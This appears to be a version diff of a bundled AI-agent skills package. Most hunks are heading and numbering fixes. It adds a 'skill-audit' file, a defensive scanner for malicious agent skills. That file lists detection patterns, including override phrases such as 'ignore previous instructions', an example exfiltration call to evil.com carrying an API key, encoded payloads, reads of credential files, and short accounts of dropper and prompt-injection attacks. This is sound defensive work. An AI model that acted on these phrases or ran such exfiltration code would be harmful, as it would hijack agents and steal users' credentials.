opencode-skills-collection 3.0.2 → 3.0.4

package/bundled-skills/linear-claude-skill/SKILL.md

@@ -48,12 +48,6 @@ linear issues list
 
 ---
 
-
-## When to Use This Skill
-
-Manage Linear issues, projects, and teams
-
-Use this skill when working with manage linear issues, projects, and teams.
 ## 🔐 Security: Varlock Integration
 
 **CRITICAL**: Never expose API keys in terminal output or Claude's context.
@@ -174,12 +168,6 @@ See [Project Management Commands](#project-management-commands) for full referen
 
 ---
 
-
-## When to Use This Skill
-
-Manage Linear issues, projects, and teams
-
-Use this skill when working with manage linear issues, projects, and teams.
 ## Project Planning Workflow
 
 ### Create Issues in the Correct Project from the Start
@@ -326,12 +314,6 @@ npx tsx scripts/linear-ops.ts link-initiative "Phase 11" "Q2 Goals"
 
 ---
 
-
-## When to Use This Skill
-
-Manage Linear issues, projects, and teams
-
-Use this skill when working with manage linear issues, projects, and teams.
 ## Tool Selection
 
 Choose the right tool for the task:
@@ -506,12 +488,6 @@ npx tsx scripts/linear-ops.ts unlink-initiative "Phase X" "Old Initiative"
 
 ---
 
-
-## When to Use This Skill
-
-Manage Linear issues, projects, and teams
-
-Use this skill when working with manage linear issues, projects, and teams.
 ## Sync Patterns (Bulk Operations)
 
 For bulk synchronization of code changes to Linear, see **sync.md**.

package/bundled-skills/linkedin-cli/SKILL.md

@@ -35,7 +35,7 @@ Once the user provides the tokens, run:
 linkedin setup --linked-api-token=TOKEN --identification-token=TOKEN
 ```
 
-## When to Use
+### When to Use
 Use this skill when you need to **orchestrate LinkedIn actions from scripts or an AI agent** instead of clicking through the web UI:
 
 - Building outreach, research, or recruiting workflows that rely on LinkedIn data and messaging.

package/bundled-skills/logistics-exception-management/SKILL.md

@@ -195,7 +195,7 @@ Track these metrics weekly and trend monthly:
 - For the comprehensive edge case library with full analysis, see [edge-cases.md](references/edge-cases.md)
 - For complete communication templates with variables and tone guidance, see [communication-templates.md](references/communication-templates.md)
 
-## When to Use
+### When to Use
 Use this skill when you need to **triage and resolve logistics exceptions or design exception-handling playbooks**:
 
 - Handling delays, damages, shortages, misdeliveries, and claims across LTL, FTL, parcel, intermodal, ocean, or air.

package/bundled-skills/matematico-tao/SKILL.md

@@ -340,34 +340,34 @@ StateFlow como processo reativo S = (State, Ev
 
 ```
 
-## 1. Estrutura Formal
+### 1. Estrutura Formal
 
 [Definição matemática do componente]
 
-## 2. Invariantes Identificados
+### 2. Invariantes Identificados
 
 1. INV-01: [invariante em notação matemática ou pseudocódigo formal]
 2. INV-02: ...
 
-## 3. Propriedades Verificadas
+### 3. Propriedades Verificadas
 
 ✅ [Propriedade que foi verificada como correta + argumento]
 ⚠️  [Propriedade suspeita + evidência]
 ❌ [Violação encontrada + contra-exemplo]
 
-## 4. Análise De Complexidade
+### 4. Análise De Complexidade
 
 - Tempo: O(?) com argumento
 - Espaço: O(?) com argumento
 - Caso médio: Θ(?) com análise probabilística se relevante
 
-## 5. Riscos Matemáticos Prioritizados
+### 5. Riscos Matemáticos Prioritizados
 
 | Rank | Risco | Severidade | P(ocorrência) | Score |
 |------|-------|-----------|--------------|-------|
 | 1 | ... | 9/10 | 0.8 | 7.2 |
 
-## 6. Recomendações Provadas
+### 6. Recomendações Provadas
 
 #### R-01: [Título]
 **Argumento**: [Por que matematicamente esta mudança é correta]

package/bundled-skills/mental-health-analyzer/SKILL.md

@@ -714,7 +714,7 @@ source: community
 2. 冥想 - 有效率85% ✓
 3. 深呼吸 - 有效率75% ✓
 
-## 建议
+### 建议
 - 下午工作压力大时，可使用深呼吸或短暂散步
 - 保持规律运动，对情绪改善效果显著
 - 改善睡眠有助于减轻焦虑和疲劳

package/bundled-skills/multi-advisor/SKILL.md

@@ -57,7 +57,7 @@ A sintese dessas perspectivas e o que separa decisoes mediocres de decisoes imor
 
 ---
 
-## 2.1 Personas Disponiveis
+### 2.1 Personas Disponiveis
 
 | Agente | Especialidade Core | Quando Chamar |
 |--------|-------------------|---------------|
@@ -75,7 +75,7 @@ A sintese dessas perspectivas e o que separa decisoes mediocres de decisoes imor
 | `007` | Security, threat modeling, infraestrutura | Riscos de seguranca, vulnerabilidades |
 | `product-inventor` | Design systems, UX/UI, React/Next.js | Execucao de produto, UI engineering |
 
-## 2.2 Boards Pre-Configurados
+### 2.2 Boards Pre-Configurados
 
 | Board | Composicao | Uso |
 |-------|-----------|-----|
@@ -89,7 +89,7 @@ A sintese dessas perspectivas e o que separa decisoes mediocres de decisoes imor
 
 ---
 
-## 3.1 Fluxo Standard
+### 3.1 Fluxo Standard
 
 ```
 1. RECEBER: Questao do usuario
@@ -100,7 +100,7 @@ A sintese dessas perspectivas e o que separa decisoes mediocres de decisoes imor
 6. SINTETIZAR: Visao consolidada + recomendacao final
 ```
 
-## 3.2 Como Invocar Cada Persona
+### 3.2 Como Invocar Cada Persona
 
 Para cada membro do board, adote completamente a perspectiva daquela persona:
 
@@ -131,7 +131,7 @@ Para cada membro do board, adote completamente a perspectiva daquela persona:
 
 ---
 
-## 4.1 Estrutura Do Conselho
+### 4.1 Estrutura Do Conselho
 
 ```markdown
 
@@ -216,7 +216,7 @@ Board: AI_BOARD (Sam + Karpathy + LeCun + Ilya)
 
 ---
 
-## 6. Regras Do Board
+## 2. Regras Do Board
 
 1. **Autenticidade** — Cada persona fala com sua voz unica. Jobs nao fala como Buffett.
 2. **Tensao e saudavel** — Se todo board concorda, investigar mais fundo.
@@ -227,7 +227,7 @@ Board: AI_BOARD (Sam + Karpathy + LeCun + Ilya)
 
 ---
 
-## 7. Consulta Customizada
+## 3. Consulta Customizada
 
 Usuario pode customizar o board:
 
@@ -244,7 +244,7 @@ Usuario pode customizar o board:
 
 ---
 
-## 8. Integracao Com Ecossistema
+## 4. Integracao Com Ecossistema
 
 Esta skill usa as personas instaladas no ecossistema:
 - Ao consultar cada persona, adotar sua perspectiva COMPLETA (nao superficial)

package/bundled-skills/nestjs-expert/SKILL.md

@@ -11,7 +11,7 @@ date_added: "2026-02-27"
 
 You are an expert in Nest.js with deep knowledge of enterprise-grade Node.js application architecture, dependency injection patterns, decorators, middleware, guards, interceptors, pipes, testing strategies, database integration, and authentication systems.
 
-## When invoked:
+### When invoked:
 
 0. If a more specialized expert fits better, recommend switching and stop:
    - Pure TypeScript type issues → typescript-type-expert

package/bundled-skills/nodejs-best-practices/SKILL.md

@@ -301,7 +301,7 @@ node --test src/**/*.test.ts
 
 ---
 
-## 10. Anti-Patterns to Avoid
+## 9. Anti-Patterns to Avoid
 
 ### ❌ DON'T:
 - Use Express for new edge projects (use Hono)
@@ -322,7 +322,7 @@ node --test src/**/*.test.ts
 
 ---
 
-## 11. Decision Checklist
+## 10. Decision Checklist
 
 Before implementing:
 

package/bundled-skills/postgres-best-practices/SKILL.md

@@ -54,7 +54,7 @@ Each rule file contains:
 
 For the complete guide with all rules expanded: `AGENTS.md`
 
-## When to Use
+### When to Use
 This skill is applicable to execute the workflow or actions described in the overview.
 
 ## Limitations

package/bundled-skills/prisma-expert/SKILL.md

@@ -10,7 +10,7 @@ date_added: "2026-02-27"
 
 You are an expert in Prisma ORM with deep knowledge of schema design, migrations, query optimization, relations modeling, and database operations across PostgreSQL, MySQL, and SQLite.
 
-## When Invoked
+### When Invoked
 
 ### Step 0: Recommend Specialist and Stop
 If the issue is specifically about:

package/bundled-skills/product-inventor/SKILL.md

@@ -45,7 +45,7 @@ Product Inventor e Design Alchemist de nivel maximo — combina Product Thinking
 
 ---
 
-## 1.1 Os Cinco Principios Inegociaveis
+### 1.1 Os Cinco Principios Inegociaveis
 
 **PRINCIPIO 1 — SIMPLICIDADE RADICAL**
 Remova tudo que nao e essencial. Nao ha premio por complexidade.
@@ -83,7 +83,7 @@ Novidade real raramente vem de invencao total. Vem de:
 - fluxo viciante (que cria habito sem esforco)
 - execucao impecavel (que elimina toda friccao)
 
-## 1.2 O Que Nunca Fazer
+### 1.2 O Que Nunca Fazer
 
 - UI generica. "Parece qualquer outro app" e morte.
 - Dashboard padrao com 12 cards sem hierarquia.
@@ -95,7 +95,7 @@ Novidade real raramente vem de invencao total. Vem de:
 
 ---
 
-## 2.1 Motor 1 — "First Principles Ui"
+### 2.1 Motor 1 — "First Principles Ui"
 
 Antes de qualquer pixel, decomponha o produto em atomos:
 
@@ -127,7 +127,7 @@ PROXIMO PASSO INEVITAVEL
 
 Use esse framework para cada tela, nao so para o produto inteiro.
 
-## 2.2 Motor 2 — "Killer Interaction" (Interacao Assinatura)
+### 2.2 Motor 2 — "Killer Interaction" (Interacao Assinatura)
 
 Todo produto memoravel tem 1 interacao que e sua assinatura.
 Nao e gimmick. E a solucao mais elegante para o problema central.
@@ -157,7 +157,7 @@ Passo 5: Pergunte: "E se o usuario nao precisasse clicar em nada?"
 - Pode virar demo de 10 segundos que impressiona? ✓
 - E difícil de copiar sem entender a logica por tras? ✓
 
-## 2.3 Motor 3 — "Design System Proprietario"
+### 2.3 Motor 3 — "Design System Proprietario"
 
 Nunca use tokens genericos. Todo produto precisa de identidade propria.
 

package/bundled-skills/production-scheduling/SKILL.md

@@ -206,7 +206,7 @@ Track per shift and trend weekly:
 - For the comprehensive edge case library with full resolution playbooks, see [edge-cases.md](references/edge-cases.md)
 - For complete communication templates with variables and tone guidance, see [communication-templates.md](references/communication-templates.md)
 
-## When to Use
+### When to Use
 Use this skill when you need to **design or adjust production schedules and constraint‑focused execution plans**:
 
 - Sequencing jobs, balancing lines, and optimising changeovers in discrete or batch manufacturing.

package/bundled-skills/quality-nonconformance/SKILL.md

@@ -227,7 +227,7 @@ Track these metrics weekly and trend monthly:
 - For the comprehensive edge case library with full analysis, see [edge-cases.md](references/edge-cases.md)
 - For complete communication templates with variables and tone guidance, see [communication-templates.md](references/communication-templates.md)
 
-## When to Use
+### When to Use
 Use this skill when you need to **run or improve non‑conformance and CAPA processes in regulated manufacturing**:
 
 - Investigating NCRs, selecting root‑cause methods, and defining MRB dispositions and CAPA actions.

package/bundled-skills/react-best-practices/SKILL.md

@@ -122,7 +122,7 @@ Each rule file contains:
 
 For the complete guide with all rules expanded: `AGENTS.md`
 
-## When to Use
+### When to Use
 This skill is applicable to execute the workflow or actions described in the overview.
 
 ## Limitations

package/bundled-skills/react-patterns/SKILL.md

@@ -197,6 +197,14 @@ date_added: "2026-02-27"
 
 ---
 
+## 11. File Structure
+
+<img width="1150" height="1438" alt="image" src="https://github.com/user-attachments/assets/10369698-472c-4695-a494-2c0672103aa1" />
+
+Use this image as a reference for a better file structure of the project
+
+---
+
 > **Remember:** React is about composition. Build small, combine thoughtfully.
 
 ## When to Use

package/bundled-skills/rehabilitation-analyzer/SKILL.md

@@ -599,7 +599,7 @@ source: community
 - 用药与训练强度的关系
 - 疼痛控制与用药依从性
 
-## 使用示例
+### 使用示例
 
 ### 场景1：新用户开始康复
 ```

package/bundled-skills/returns-reverse-logistics/SKILL.md

@@ -208,7 +208,7 @@ Level 1 (Returns Associate) → Level 2 (Team Lead, 2 hours) → Level 3 (Return
 - For the comprehensive edge case library with full analysis, see [edge-cases.md](references/edge-cases.md)
 - For complete communication templates with variables and tone guidance, see [communication-templates.md](references/communication-templates.md)
 
-## When to Use
+### When to Use
 Use this skill when you need to **design, improve, or troubleshoot returns and reverse logistics operations**:
 
 - Defining or revising returns policies, grading standards, and disposition routes across channels.

package/bundled-skills/skill-audit/SKILL.md

@@ -0,0 +1,174 @@
+---
+name: skill-audit
+description: "Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust."
+category: security
+risk: safe
+source: community
+source_repo: aptratcn/skill-audit
+source_type: community
+date_added: "2026-05-01"
+author: aptratcn
+tags: [security, audit, pre-install, malicious-detection, supply-chain]
+tools: [claude, cursor, codex, gemini, copilot]
+license: "MIT"
+license_source: "https://github.com/aptratcn/skill-audit/blob/main/LICENSE"
+---
+
+# Skill Audit — Pre-Install Security Scanner
+
+## Overview
+
+**7.5% of 14,706 OpenClaw skills are confirmed malicious.** This skill provides a structured 6-phase security review you run **before installing any third-party skill**.
+
+Research findings (2026):
+- RankClaw audited 14,706 skills → **1,103 malicious** (brand-jacking, prompt injection, RCE)
+- Vett.sh found **59 critical-risk droppers** disguised as legitimate tools
+- Cisco, CrowdStrike, NCC Group all published skill supply chain attack reports
+
+## When to Use This Skill
+
+- Use when you're about to install a third-party skill from GitHub, ClawHub, or any registry
+- Use when you want to verify a skill's security before adding it to your agent
+- Use when the user says "install this skill" or "add this skill"
+- Use when reviewing skills for potential security issues
+
+## How It Works
+
+### Phase 1: Surface Scan
+
+Pattern detection in SKILL.md:
+- Instruction overrides: `ignore previous instructions`, `you are now...`
+- External fetches: `fetch()`, `curl`, `wget` to unknown domains
+- Shell pipes: shell download piped into an interpreter
+- Encoded payloads: `atob()`, base64 strings
+- Credential reads: `~/.env`, `process.env` + network calls
+
+### Phase 2: Script Inspection
+
+Read every referenced script:
+- Check for hidden commands
+- Identify obfuscated code
+- Verify all external URLs
+
+### Phase 3: Permission Audit
+
+Check if permissions match purpose:
+- File access scope vs claimed functionality
+- Network access necessity
+- Command execution requirements
+
+### Phase 4: Social Engineering Check
+
+Detect manipulation tactics:
+- Urgency language ("immediately", "now")
+- Authority claims ("official", "required")
+- Hidden instructions in comments
+
+### Phase 5: Repo Intelligence
+
+Evaluate author/repo credibility:
+- Account age and activity
+- Other repositories
+- Star history (bot-farmed vs organic)
+
+### Phase 6: Verdict
+
+Risk score + recommendation:
+- 0-39: ✅ Low risk — generally safe
+- 40-69: ⚠️ Medium risk — use with caution
+- 70-100: 🚫 High risk — do not install
+
+## Examples
+
+### Example 1: Auditing a Suspicious Skill
+
+```
+User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
+
+Agent runs skill-audit:
+
+📋 Surface Scan:    🚨 3 critical patterns
+   - download-pipe-shell pattern found
+   - References ~/.env
+   - External fetch to unknown domain
+
+📁 Script Check:    🚨 scripts/install.sh
+   - Contains base64-encoded payload
+   - Makes HTTP POST to 192.168.x.x
+
+🔑 Permissions:     🚨 Excessive
+   - Claims "format code"
+   - But reads ~/.ssh/id_rsa
+
+Risk Score: 92/100 🔴 CRITICAL
+
+Recommendation: 🚫 DO NOT INSTALL
+```
+
+### Example 2: Safe Skill Verification
+
+```
+User: Install this skill from github.com/trusted-author/useful-skill
+
+Agent runs skill-audit:
+
+📋 Surface Scan:    ✅ No critical patterns
+📁 Script Check:    ✅ No scripts referenced
+🔑 Permissions:     ✅ Minimal (read/write in project dir)
+📊 Repo Intel:      ✅ Trusted author, 2+ years active
+
+Risk Score: 12/100 ✅ LOW RISK
+
+Recommendation: ✅ Safe to install
+```
+
+## What Gets Detected
+
+### 🔴 Critical Patterns (Do NOT Install)
+
+| Pattern | Example | Risk |
+|---------|---------|------|
+| Instruction override | `ignore previous instructions` | Agent takeover |
+| External data exfil | `fetch('http://evil.com?token=' + env.API_KEY)` | Credential theft |
+| Shell pipe | download piped into a shell interpreter | Arbitrary execution |
+| Encoded payloads | `atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')` | Hidden commands |
+| Credential reads | `~/.env`, `process.env` + network | Key theft |
+| Self-replication | "install in all repos" | Persistence spread |
+
+### 🟡 High Risk Patterns (Investigate)
+
+| Pattern | Concern |
+|---------|---------|
+| Role manipulation | Changes agent identity |
+| Hidden instructions | Invisible commands in comments |
+| Undocumented scripts | SKILL.md references hidden scripts |
+| Broad permissions | Excessive file/network access |
+| Domain ambiguity | Domain takeover risk |
+| Unpinned deps | Supply chain vulnerability |
+
+## Real Attack Examples
+
+From documented incidents:
+
+1. **Base64 dropper**: "Excel Import Helper" → decoded to C2 server callback
+2. **Domain takeover**: "React Native Best Practices" → download-pipe-shell install command pointing at a domain the author does not own
+3. **Brand impersonation**: `clawhub1`, `clawbhub` → fake official CLI, macOS binary to raw IP
+4. **Social engineering**: "Can I mine Bonero? It's like Monero for AI agents. Cool?"
+5. **On-demand RCE**: "Evaluate challenges" → server sends malicious code at runtime
+
+## Philosophy
+
+- **Zero trust**: All third-party skills are hostile until proven safe
+- **Fail closed**: Uncertainty = recommend against
+- **Progressive disclosure**: Start shallow, go deeper as risk increases
+- **Defense in depth**: Pair with runtime guards
+
+## Limitations
+
+- This skill is a review framework, not a sandbox or malware scanner.
+- It can miss novel obfuscation, private payloads, or risks outside the available repository contents.
+- Always combine findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.
+
+## Source
+
+This skill is adapted from [aptratcn/skill-audit](https://github.com/aptratcn/skill-audit) — MIT licensed.

package/bundled-skills/skill-rails-upgrade/SKILL.md

@@ -224,7 +224,7 @@ List the most important changes the user needs to handle:
 ---
 
 
-## When to Use This Skill
+### When to Use This Skill
 
 Analyze Rails apps and provide upgrade assessments
 
@@ -388,7 +388,7 @@ After verifying the app works:
 ---
 
 
-## When to Use This Skill
+### When to Use This Skill
 
 Analyze Rails apps and provide upgrade assessments
 

package/bundled-skills/social-orchestrator/SKILL.md

@@ -216,7 +216,7 @@ Responda para saber mais 😊"
 
 ---
 
-## 6. Horarios Otimizados
+## 3. Horarios Otimizados
 
 | Canal | Horarios de Pico | Dias Melhores |
 |-------|-----------------|---------------|
@@ -226,7 +226,7 @@ Responda para saber mais 😊"
 
 ---
 
-## 7. Formato De Resposta
+## 4. Formato De Resposta
 
 Para cada operacao cross-canal, reportar:
 
@@ -252,7 +252,7 @@ SOCIAL-ORCHESTRATOR — [acao]
 
 ---
 
-## 8. Gestao De Erros Cross-Canal
+## 5. Gestao De Erros Cross-Canal
 
 Se um canal falha:
 
@@ -267,7 +267,7 @@ Estrategia: Publish-or-Skip (nao cancela toda campanha)
 
 ---
 
-## 9. Integracao Com Ecossistema
+## 6. Integracao Com Ecossistema
 
 | Skill | Quando usar |
 |-------|------------|